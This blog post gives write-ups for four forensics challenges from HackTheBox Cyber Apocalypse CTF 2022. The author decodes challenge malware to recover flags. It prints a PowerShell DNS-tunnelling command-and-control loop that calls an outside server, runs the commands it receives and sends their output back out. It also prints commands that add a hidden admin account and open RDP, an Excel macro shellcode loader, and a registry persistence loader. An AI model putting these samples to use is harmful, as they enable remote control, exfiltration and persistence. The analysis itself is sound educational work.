[CTF] HTB CA CTF 2022 - Forensics

Hy Friends , welcome back to my blog. I participated in this year’s HackTheBox CyberApocalypse CTF. I am so happy , my team TamilCTF secured Rank 73 out of 7024 teams. I Solved 4/8 Forensics challenges. Without futher ado lets jump into write-ups.

Majority of the challenges i solved are related to Malware Analysis and this is the first time i am trying this category. Especially PowerShell. I can’t believe that i was able to solve them on the first try. Alhamdulillah.


Puppeteer

We are given with a bunch of Windows Event Log Files. I had no idea on how to open them , so i searched if any powershell scripts exist in this event logs.

strings * | grep ".ps1"

I saw some powershell scripts in the output. Next step is to extract them , I relied on this great article to extract the powershell script.

I ran the ExtractAllScripts.ps1 and extracted the scripts from Event Logs. As you can see, we got two Scripts sys_mgr.ps1 and special_orders.ps1. I checked the first script and it had nothing useful so opened second script.

Its a Powershell Malware. At first i wasted so much time by focusing on the shellcode $HVOASfFuNSxRXR , yes i was careless i followed the comments and didn’t bothered to look the code thoroughly. I couldn’t get the shellcode work at all. Then i looked into stage variables. It was so easy.


[byte[]] $stage1 = 0x99, 0x85, 0x93, 0xaa, 0xb3, 0xe2, 0xa6, 0xb9, 0xe5, 0xa3, 0xe2, 0x8e, 0xe1, 0xb7, 0x8e, 0xa5, 0xb9, 0xe2, 0x8e, 0xb3;
[byte[]] $stage2 = 0xac, 0xff, 0xff, 0xff, 0xe2, 0xb2, 0xe0, 0xa5, 0xa2, 0xa4, 0xbb, 0x8e, 0xb7, 0xe1, 0x8e, 0xe4, 0xa5, 0xe1, 0xe1;

[array]::Reverse($stage2);

$stage3 = $stage1 + $stage2;

#Unpack Special Orders!

for($i=0;$i -lt $stage3.count;$i++){
    $stage3[$i] = $stage3[$i] -bxor 0xd1;
}

[System.Text.Encoding]::ASCII.GetString($stage3)

I just needed to print out the stage3 variable.

HTB{b3wh4r3_0f_th3_b00t5_0f_just1c3...}


Automation

In this challenge we are given a network capture (pcap) file. I opened it in wireshark and checked through each TCP Streams.

TCP Stream 17 had this strange image file. I decoded this base64 string and got a powershell script.


[REDACTED]

1  filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }} 
2  $key = "a1E4MUtycWswTmtrMHdqdg=="
3  $out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
4  for ($num = 0 ; $num -le $out.Length-2; $num++){
5  $encryptedString = $out[$num].Strings[0]
6  $backToPlainText = Decrypt-String $key $encryptedString
7  $output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
8  Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
9  for ($ans = 0; $ans -lt $pr.length-1; $ans++){
10 $domain = -join($pr[$ans],".windowsliveupdater.com")
11 Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
12    }
13 Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
14 }

This is the main part of the script. So this is how it works :-

$key holds the AES key for encryption.

Line 3 statement make DNS request to windowsliveupdater.com using DNS Server 147.182.172.189 and save DNS TXT field results to $out variable.

There is total 7 TXT fields in the DNS response , so the next loop runs 5 times and decrypt the string, stores it to $backToPlainText variable.

Then it executes the decrypted strings with iex statement and store its values to $output variable.

parts 32 split the result into 32 byte string. So $pr stores splitted parts of $output variable.

Before the second loop , script makes DNS request to start.windowsliveupdater.com , then in the loop it appends value from $pr variable and after the loop it makes DNS request to end.windowsliveupdater.com.

Here start and end telling , every Hex Encoded subdomain DNS requests between them are single AES encrypted string.

As you can see $backToPlainText have decrypted data , so i just printed its content by adding Write-Host $backToPlainText in the script to see whats inside. Upon running the script it gave this result.


hostname
whoami
ipconfig
wmic /namespace:\\root\SecurityCenter PATH AntiVirusProduct GET /value
net user DefaultUsr "JHBhcnQxPSdIVEJ7eTB1X2M0bl8n" /add /Y; net localgroup Administrators /add DefaultUsr; net localgroup "Remote Desktop Users" /add DefaultUsr
netsh advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389

The base64 encoded string in this result is the first part of flag : $part1='HTB{y0u_c4n_'

Next step is to find the rest of the flag by decrypting AES encrypted strings , I made a small python script to extract AES encrypted strings from the pcap.


from scapy.all import *

pkts = rdpcap("capture.pcap")

i = 0

domains = []

for pkt in pkts:
    if pkt.haslayer(DNS):
        if pkt.an is not None:
            qname = pkt.qd.qname.decode()
            domains.append(qname[:qname.find(".")])

for val in domains:
    if len(val) == 32 or val == "start" or val == "end":
        if len(val) == 32:
            print(val, end='')
        else:
            print('\n', val)            

We got the AES encrypted strings , but there is a problem , the script only takes base64 strings , what we have is hex.

Head into cyberchef and paste the hex strings then add recipe From Hex , then add Reciped To Base64.

I did like this for all hex strings and made the final script.


$ErrorActionPreference= 'silentlycontinue'

function Create-AesManagedObject($key, $IV) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        else {
            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

function Create-AesKey() {
    $aesManaged = Create-AesManagedObject $key $IV
    [System.Convert]::ToBase64String($aesManaged.Key)
}

function Encrypt-String($key, $unencryptedString) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    $aesManaged.Dispose()
    [System.BitConverter]::ToString($fullData).replace("-","")
}

function Decrypt-String($key, $encryptedStringWithIV) {
    $bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
    $IV = $bytes[0..15]
    $aesManaged = Create-AesManagedObject $key $IV
    $decryptor = $aesManaged.CreateDecryptor();
    $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
    $aesManaged.Dispose()
    [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}

filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }} 
$key = "a1E4MUtycWswTmtrMHdqdg=="

# TXT fields from DNS request to windowsliveupdater.com

[String[]]$out = "Ifu1yiK5RMABD4wno66axIGZuj1HXezG5gxzpdLO6ws=", "hhpgWsOli4AnW9g/7TM4rcYyvDNky4yZvLVJ0olX5oA=", "58v04KhrSziOyRaMLvKM+JrCHpM4WmvBT/wYTRKDw2s=", "eTtfUgcchm/R27YJDP0iWnXHy02ijScdI4tUqAVPKGf3nsBE28fDUbq0C8CnUnJC57lxUMYFSqHpB5bhoVTYafNZ8+ijnMwAMy4hp0O4FeH0Xo69ahI8ndUfIsiD/Bru", "BbvWcWhRToPqTupwX6Kf7A0jrOdYWumqaMRz6uPcnvaDvRKY2+eAl0qT3Iy1kUGWGSEoRu7MjqxYmek78uvzMTaH88cWwlgUJqr1vsr1CsxCwS/KBYJXhulyBcMMYOtcqImMiU3x0RzlsFXTUf1giNF2qZUDthUN7Z8AIwvmz0a+5aUTegq/pPFsK0i7YNZsK7JEmz+wQ7Ds/UU5+SsubWYdtxn+lxw58XqHxyAYAo0=", "vJxlcLDI/0sPurvacG0iFbstwyxtk/el9czGxTAjYBmUZEcD63bco9uzSHDoTvP1ZU9ae5VW7Jnv9jsZHLsOs8dvxsIMVMzj1ItGo3dT+QrpsB4M9wW5clUuDeF/C3lwCRmYYFSLN/cUNOH5++YnX66b1iHUJTBCqLxiEfThk5A=", "M3/+2RJ/qY4O+nclGPEvJMIJI4U6SF6VL8ANpz9Y6mSHwuUyg4iBrMrtSsfpA2bh"
Write-Host -ForegroundColor Blue `n"------- Decrypted Strings from DNS TXT Field ---------" `n
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num]
$backToPlainText = Decrypt-String $key $encryptedString
Write-Host -ForegroundColor Yellow $backToPlainText
}

# Converted Encrypted Sub Domains  to base64 Using CyberChef
# AES Hex -> RAW -> Base64 

$hostname = Decrypt-String $key "zByawpWKLmNgknLitPj0NjKoBlSbA6t+TrOXca7aShvBAGrIoD+XdrCDIb1tUke7"
$whoami = Decrypt-String $key "dnmJXRz3wHu2o0jhqkr8ZVlYpoVvGjSq1el+pVsIdnA18kl+WDbqDsofEoD1l0Kj"
$ipconfig = Decrypt-String $key "CeKN2CwUvDJRNlLawvLCew1zoyiKmA2PzvlL3c+eKCIqHKF7stkPzWFYhWNIeQQUIPw5xoSp43HMOgZUK2ZgBVhAvZTM5l4jYTkltNnSulMY6nW8ZTAE1F1QXtYlZwF6b6TnWT2DCS9nqBCC2ZMOmbog40qsxHdPBnRCxmIvXaKpsJ/1WKjfAA7L03gEzmY+NSFZm8dZEAWrZ5nFcGjPDcaITOzwHAzUT9a4LbeIs11i8C5Mqh2XP77MI1rp9AJUxj08k8iZMNosT0LZ/BI9i6sArKtRmK/MjGrNgbGc0mTMY1NmjOpMiMiu6h1YmAAi2o+i6RfxfChgiBi/VQ/qZpc7WoNVJYqwqiga2I9bnrEDrGZv4JodRJc2M1wJSE0nHDAcbVeAqyyfozO+OwGFvwcfsSBcTb6qIkEWiwdIkCps4UkDx8R+fIcxEETLmHOk"
$wmic = Decrypt-String $key "7KvDSdJ8Cw//0azu2+BrtsLrAA7k+bNdbwAVAOhWQqLcyPG+LPTWZ/RYwd5G0kscLg9dlOUmSccEAsGwov97Sfwy3dZ/J1MHp0ssTQhks/BIYYbalEPrdH9xezkRyVncfjAIRNYGVUEMOYgjjmFdYW8z0n9jzk0eBlpBaRG8UNRYdJWZ0ssI21YZiOspAuBdmIb92sK+1vbac2N60vIM8Zm4zj2d7gPAGAx9EZi0nAJ2nl7k6riW19O7R46hQIFneUcqJDv7CFKvNyMj7BMpiDyBo/KusdParoSW4dv5f0Na5AoJIDuJDEoXTXfLcCbE6ZCm+2Qkp1AYI60x09a2NEx5ccjUR8B4xEcXMq2IHDlLyLGmbgvtQ93DWSabV9HV1o3NKmCL9hcWu0fW/k1cnW6LspgfIUqCNLDdAhDKlustYyKw9/PXSMTJ+LgO/1ppIaPRqGIaSfTSm8mFHSUjCw=="
$net = Decrypt-String $key "hBvbTp5fi/chtY6DCBd7Vy6aAVln2lvxGskVX8IVnI9hDNgvgYtL315Ici2vS+7rq84wWD9QO0hL+ZAg4oobjygqI/6zohw62JiC9awN09V9h4dSMWUtD0Qx7DflGgnVfihU0RADq24vS/tPfiR32qRPyjvGAhd38D8TnUWMBSQ="

Write-Host -ForegroundColor Blue `n"-------- Decrypted Strings from DNS Sub Domains --------"
Write-Host -ForegroundColor Yellow "hostname    : " $hostname`n 
Write-Host -ForegroundColor Yellow "whoami      : " $whoami`n 
Write-Host -ForegroundColor Yellow "ipconfig    : " $ipconfig`n 
Write-Host -ForegroundColor Yellow "wmic result : " $wmic`n
Write-Host -ForegroundColor Yellow "net result  : " $net

Write-Host -ForegroundColor Blue `n"-------- Final Result ----------"  `n

$part1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("JHBhcnQxPSdIVEJ7eTB1X2M0bl8n")).Replace("'", "")
$part2 = $wmic.SubString($wmic.IndexOf('2')+2, 29)
$flag = -Join($part1.SubString($part1.Length - 12) , $part2)

Write-Host -ForegroundColor Red "Flag : "  $flag `n

HTB{y0u_c4n_4utom4t3_but_y0u_c4nt_h1de}


Free Services

Here we are given a Macro Enabled Microsoft Excel Spread Sheet File. I opened it in Libreoffice to see whats inside.

The values in first column looks like some sort of MACRO scripts. I copied them to a text file and analysed what it does.


=select(E1:G258)
=call("Kernel32","VirtualAlloc","JJJJJ",0,386,4096,64)
=set.value(C1, 0)
=for("counter",0,772,2)
=set.value(B1,CHAR(BITXOR(active.cell(),24)))
=call("Kernel32","WriteProcessMemory","JJJCJJ",-1, A2 + C1,B1, LEN(B1), 0)
=set.value(C1, C1 + 1)
=select(, "RC[2]")
=next()
=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C6, 0, 0, 0)
=workbook.activate("Sheet1")
HALT()

Okay, after some time i figured out what this MACRO does.

Firstly it selects all values from cell E1 to G258. Then allocate kernel stuff , it doesn’t matter.

Next it sets cell C1 value to 0 and start a loop from 0 to 772 , 0 is incremented by 2 on each run.

Then it set the value of cell B1 with value of active cell XORED by 24 , loop continues , up to this all we need.

I have wasted lots of time on this challenge , because i selected the values in wrong order.

Values must be taken in this order E1, F1, G1 , E2 , F2, G2 not in E1, E2, E3 .....F1, F2, F3 order.

I copied the values and saved it in a text file , after aligning it in the right order i run a small python script to xor values.


# Copy Values In E1 , F1 , G1 , E2 , F2 , G2 order

file = open("values.txt", "r")
lines = file.readlines()
vals = []
for line in lines:
    line.replace('\n', '')
    vals.append(int(line))

B1 = []

for i in range(0, 772, 2):
    print(chr(vals[i] ^ 24), end='')

HTB{1s_th1s_g4l4xy_l0st_1n_t1m3??!}


Golden Persistence

We are given with NTUSER.dat , NTUSER.dat is a registry hive which stores User Profile and Data. From the challenge description we can see that we are dealing with Malware Persistence. Initially i searched for any suspicious programs exist in the registry entries.

reglookup NTUSER.dat | grep .exe

Nice , found a powershell entry with some base64 encoded text. I decoded the text and got a powershell script.


[REDACTED]

1  [Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")
2  $encrypted1 = (Get-ItemProperty -Path HKCU:\SOFTWARE\ZYb78P4s).t3RBka5tL
3  $encrypted2 = (Get-ItemProperty -Path HKCU:\SOFTWARE\BjqAtIen).uLltjjW
4  $encrypted3 = (Get-ItemProperty -Path HKCU:\SOFTWARE\AppDataLow\t03A1Stq).uY4S39Da
5  $encrypted4 = (Get-ItemProperty -Path HKCU:\SOFTWARE\Google\Nv50zeG).Kb19fyhl
6  $encrypted5 = (Get-ItemProperty -Path HKCU:\AppEvents\Jx66ZG0O).jH54NW8C
7  $encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
8  $enc = [System.Text.Encoding]::ASCII
9  [Byte[]]$data = HexToBin $encrypted
10 $DecryptedBytes = encr $data $key
11 $DecryptedString = $enc.GetString($DecryptedBytes)
12 $DecryptedString|iex

This is the main part of the script.

$key holds encryption key , $encrypted1 to $encrypted5 loads some encrypted string from the Registry Hive , all five are joined together and saved into $encrypted variable.

Finally $DecryptedString is executed.

Running this script on my system gives error , because my Registry Hive don’t have the specified values.

So i opened the NTUSER.dat in Registry Explorer and checked each entries.

I copied each values to its specified place in script.


function encr {
    param(
        [Byte[]]$data
    )

    [Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")
    [Byte[]]$buffer = New-Object Byte[] $data.Length
    $data.CopyTo($buffer, 0)
    
    [Byte[]]$s = New-Object Byte[] 256;
    [Byte[]]$k = New-Object Byte[] 256;
 
    for ($i = 0; $i -lt 256; $i++)
    {
        $s[$i] = [Byte]$i;
        $k[$i] = $key[$i % $key.Length];
    }
 
    $j = 0;
    for ($i = 0; $i -lt 256; $i++)
    {
        $j = ($j + $s[$i] + $k[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
    }
 
    $i = $j = 0;
    for ($x = 0; $x -lt $buffer.Length; $x++)
    {
        $i = ($i + 1) % 256;
        $j = ($j + $s[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
        [int]$t = ($s[$i] + $s[$j]) % 256;
        $buffer[$x] = $buffer[$x] -bxor $s[$t];
    }
 
    return $buffer
}


function HexToBin {
    param(
    [Parameter(
        Position=0, 
        Mandatory=$true, 
        ValueFromPipeline=$true)
    ]   
    [string]$s)
    $return = @()
    
    for ($i = 0; $i -lt $s.Length ; $i += 2)
    {
        $return += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
    }
    
    Write-Output $return
}

$encrypted1 = "F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B07317000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39"
$encrypted2 = "CC19F66A5F3B2E36C9B810FE7CC4D9CE342E8E00138A4F7F5CDD9EED9E09299DD7C6933CF4734E12A906FD9CE1CA57D445DB9CABF850529F5845083F34BA1"
$encrypted3 = "C08114AA67EB979D36DC3EFA0F62086B947F672BD8F966305A98EF93AA39076C3726B0EDEBFA10811A15F1CF1BEFC78AFC5E08AD8CACDB323F44B4D"
$encrypted4 = "D814EB4E244A153AF8FAA1121A5CCFD0FEAC8DD96A9B31CCF6C3E3E03C1E93626DF5B3E0B141467116CC08F92147F7A0BE0D95B0172A7F34922D6C236BC7DE54D8ACBFA70D1"
$encrypted5 = "84AB553E67C743BE696A0AC80C16E2B354C2AE7918EE08A0A3887875C83E44ACA7393F1C579EE41BCB7D336CAF8695266839907F47775F89C1F170562A6B0A01C0F3BC4CB"
$encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
$enc = [System.Text.Encoding]::ASCII
[Byte[]]$data = HexToBin $encrypted
$DecryptedBytes = encr $data
$DecryptedString = $enc.GetString($DecryptedBytes)
Write-Host -ForegroundColor Red $DecryptedString.Substring($DecryptedString.IndexOf("HTB"), 39)

HTB{g0ld3n_F4ng_1s_n0t_st34lthy_3n0ugh}